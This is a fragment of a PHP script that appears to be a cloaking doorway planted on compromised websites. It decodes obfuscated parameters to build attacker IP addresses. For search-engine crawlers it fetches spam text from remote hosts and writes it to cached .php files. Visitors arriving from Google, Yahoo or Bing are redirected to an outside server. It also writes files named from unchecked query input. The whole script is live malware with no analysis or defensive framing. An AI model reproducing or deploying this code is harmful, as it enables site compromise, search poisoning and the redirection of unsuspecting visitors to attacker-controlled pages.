$b)
{
$getgetget = base64_decode($b);
}
$getgetget = explode("&", $getgetget);
foreach ($getgetget as $a)
{
$a = explode("=", $a);
if (strlen($a[0]) == 4) $_GET["world"] = $a[1];
if (strlen($a[0]) == 7) $_GET["looping"] = $a[1];
}
$_GET["id"] = $a[1];
$xx1=5;
$botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]);
if ((strpos($botbotbot,"google")) OR (strpos($botbotbot,"bing")) OR (strpos($botbotbot,"yahoo")))
{
//$myname = basename($_SERVER['SCRIPT_NAME'], ".php");
$myname = $_GET["id"].".php";
if (file_exists($myname))
{
$html = file($myname);
$html = implode($html, "");
echo $html;
exit;
}
//if (!strpos($_SERVER['HTTP_USER_AGENT'], "google")) exit;
/*
while($tpl == 0)
{
$tpl_n = rand(1,9);
$tpl = @file("tpl$tpl_n.html");
}
*/
$tpl = file("tpl3.html");
$keyword = "3";
$keyword = str_replace("-", " ", $_GET["id"]);
$keyword = chop($keyword);
$keyword = ucfirst($keyword);
$query_pars = $keyword;
$query_pars_2 = str_replace(" ", "+", chop($query_pars));
$query_pars_2 = mb_strtolower($query_pars_2);
$text = "";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$_GET["looping"].".9.23.3/story.php?pass=$apass&q=$_GET[id]");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
$text = curl_exec($ch);
curl_close($ch);
if (strlen($text)<5000) $text = file_get_contents("http://".$_GET["looping"].".9.23.3/story.php?pass=$apass&q=$_GET[id]");
$zzzzz = $_GET["world"] + 171;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$zzzzz.31.253.227/cakes/page.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
$text2 = curl_exec($ch);
curl_close($ch);
$text = $text."
\n\n\n\n".$text2;
$html = implode ("\n", $tpl);
$html = str_replace("{keyword}", $keyword, $html);
$html = str_replace("{manytext_bing}", $text, $html);
if (strlen($text)>2000)
{
$out = fopen($myname, "w");
fwrite($out, $html);
fclose($out);
}
echo $html;
}
else
{
$tpl = "3";
$keyword = str_replace("-", " ", $_GET["id"]);
$keyword = str_replace(" ", "+", $keyword);
$s = dirname($_SERVER['PHP_SELF']);
if ($s == '\\' | $s == '/') {$s = ('');}
$s = $_SERVER['SERVER_NAME'] . $s;
$today = "20190716";
include("checkmob.php");
if(is_mobile() >0 ) $mobiledevice = 11;
if (strpos($_SERVER['HTTP_REFERER'], "num=100"))
{
$myname = $_GET["id"].".php";
if (file_exists($myname))
{
$html = file($myname);
$html = implode($html, "");
echo $html;
exit;
}
}
if ((strpos($_SERVER['HTTP_REFERER'], ".google.")) OR (strpos($_SERVER['HTTP_REFERER'], ".yahoo.")) OR (strpos($_SERVER['HTTP_REFERER'], ".bing.")))
{
header("Location: http://".$_GET["world"].".45.79.15/input/?mark=$today-$s&tpl=$tpl&engkey=$keyword");
exit;
}
else
{
$myname = $_GET["id"].".php";
if (file_exists($myname))
{
$html = file($myname);
$html = implode($html, "");
echo $html;
exit;
}
}
}
?>